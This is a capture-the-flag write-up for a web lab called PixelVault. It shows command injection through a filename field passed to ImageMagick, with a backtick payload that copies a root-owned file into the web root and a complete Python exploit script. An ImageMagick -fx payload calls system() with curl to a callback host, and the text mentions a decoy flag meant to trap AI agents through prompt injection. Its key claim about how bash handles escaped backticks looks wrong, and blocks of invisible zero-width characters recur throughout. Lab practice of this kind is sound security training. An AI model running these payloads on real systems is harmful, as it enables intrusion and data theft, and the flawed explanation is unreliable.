← Back to Writeups
CUSTOMMediumWeb

Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection

XESXOR9/10/20264 min read
#web#custom#medium#backtick_command_substitution_#decoy_flag_avoidance#escapeshellcmd_bypass#file_copy_to_webroot#imagemagick_fx_option_injectio#linux

Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: backtick_command_substitution_in_double_quotes, decoy_flag_avoidance, escapeshellcmd_bypass, file_copy_to_webroot, imagemagick_fx_option_injection

Summary

Task: Image hosting platform with custom_filename field passed to ImageMagick shell command inside double quotes, protected by escapeshellcmd(). Solution: Backtick command injection in custom_filename bypasses escapeshellcmd() inside double-quoted context, executing cp to copy /root/flag.txt to web-accessible uploads directory.

Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection — HackAdvisor

Description

PixelVault is a cloud-based image hosting platform by Prism Cloud Inc. Users can upload, organize, and share images through albums. The platform automatically generates thumbnails and optimized versions of uploaded images using a server-side processing pipeline.

You have been given credentials to a standard user account. Explore the platform's features — particularly the image upload and processing pipeline — and find a way to read a sensitive file stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP image hosting platform with ImageMagick v7 for thumbnail generation. The upload form includes a custom_filename field whose value is incorporated into a shell command during image processing. The goal is to achieve RCE and read the flag from the server filesystem.

Analysis

Platform Architecture

  • Stack: PHP 8.2.26 on nginx/1.25.5
  • Image processing: ImageMagick v7 for automatic thumbnail generation (300x300)
  • Credentials: user@test.com / password123
  • File storage: Uploads at /app/data/uploads/, thumbnails at /app/data/thumbnails/
  • Web paths: /uploads/ and /thumbnails/ serve files from the data directories ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Upload Form Fields

The upload form at /upload has three fields:

  1. image — file input (JPEG, PNG, GIF only; content-type validated, SVG/MVG rejected)
  2. custom_filename — text input for display name override (the vulnerable parameter)
  3. album_id — album selector

Decoy Flag (Honeypot)

The HTML source on every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in comments and hidden divs — a prompt injection honeypot designed to trick AI agents and automated scanners. This was correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Backtick Injection via escapeshellcmd() Bypass

The server constructs a shell command for thumbnail generation that includes the custom_filename value inside double quotes:

bash
magick convert input.jpg -resize 300x300 ... "CUSTOM_FILENAME" ...

The server applies PHP's escapeshellcmd() to the custom_filename. This function escapes characters like ;, |, $, (, ), &, etc. However, the critical weakness is how backticks interact with this escaping:

  • escapeshellcmd() escapes backticks to ``` (backslash-backtick)
  • Inside double quotes in bash, ``` is still interpreted as a backtick — the backslash is consumed as an escape character for the backtick, but the backtick still triggers command substitution
  • In contrast, $() is properly neutralized because \$() means literal $ (no expansion) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a well-known escapeshellcmd() vs escapeshellarg() security gap. The function was designed to sanitize entire commands, not individual arguments placed inside quotes.

Solution

Step 1: Craft the Payload

The payload uses backticks to inject a cp command that copies the flag file to the web-accessible uploads directory:

photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg

When placed inside the double-quoted context of the shell command, this becomes:

bash
magick convert input.jpg -resize 300x300 ... "photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg" ...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bash interprets the backticks inside double quotes, executing cp /root/flag.txt /app/data/uploads/flag.txt before the rest of the command.

Step 2: Upload with the Malicious custom_filename

python
#!/usr/bin/env python3
"""PixelVault - RCE via backtick injection in custom_filename"""
import requests
from PIL import Image
import io

BASE_URL = "https://e2f24cb5-c430-4bbd-8aa5-31dfccd03cc9.labs.hackadvisor.io"

# Login
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create a valid JPEG image
img = Image.new('RGB', (100, 100), color='red')
buf = io.BytesIO()
img.save(buf, format='JPEG')
buf.seek(0)

# Upload with backtick-injected custom_filename
r = session.post(f"{BASE_URL}/upload", files={
    "image": ("test.jpg", buf, "image/jpeg")
}, data={
    "custom_filename": "photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg"
}, allow_redirects=True)

print(r.text)  # "Image uploaded and processed successfully."

Step 3: Retrieve the Flag

bash
curl https://e2f24cb5-c430-4bbd-8aa5-31dfccd03cc9.labs.hackadvisor.io/uploads/flag.txt
# FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Exploitation Path: ImageMagick -fx Option Injection

Since custom_filename is appended to the magick command, ImageMagick CLI options can also be injected. The -fx option evaluates expressions including system():

python
payload = "output.jpg -fx 'debug(system(\"curl http://interact/UUID/callback\"))'"
session.post(f"{BASE_URL}/upload", files={
    "image": ("test.jpg", buf, "image/jpeg")
}, data={"custom_filename": payload})

This was confirmed working via Interaction Server callbacks. However, data exfiltration was harder because escapeshellcmd() prevents $() expansion needed to embed file contents in URLs. The backtick + cp approach was simpler and more reliable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What Did NOT Work

AttemptResult
Shell injection with ;, |, &&, || in custom_filenameEscaped by escapeshellcmd()
$() command substitutionescapeshellcmd() turns $ into \$ — literal in bash
ImageMagick pipe delegate (|command as filename)Not used as direct IM input/output filename
MVG/SVG content with .jpg extensionContent-type validation rejects non-image content
SQL injection in gallery search or custom_filenameParameterized queries, no injection
Path traversal in URLs (../../../etc/passwd)nginx blocks encoded traversal
Multipart filename injectionPHP sanitizes the original upload filename before use
Writing to /var/www/html/ pathsWrong web root — actual web root serves from /app/data/
-write option injection with pipeescapeshellcmd() escapes the pipe character
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍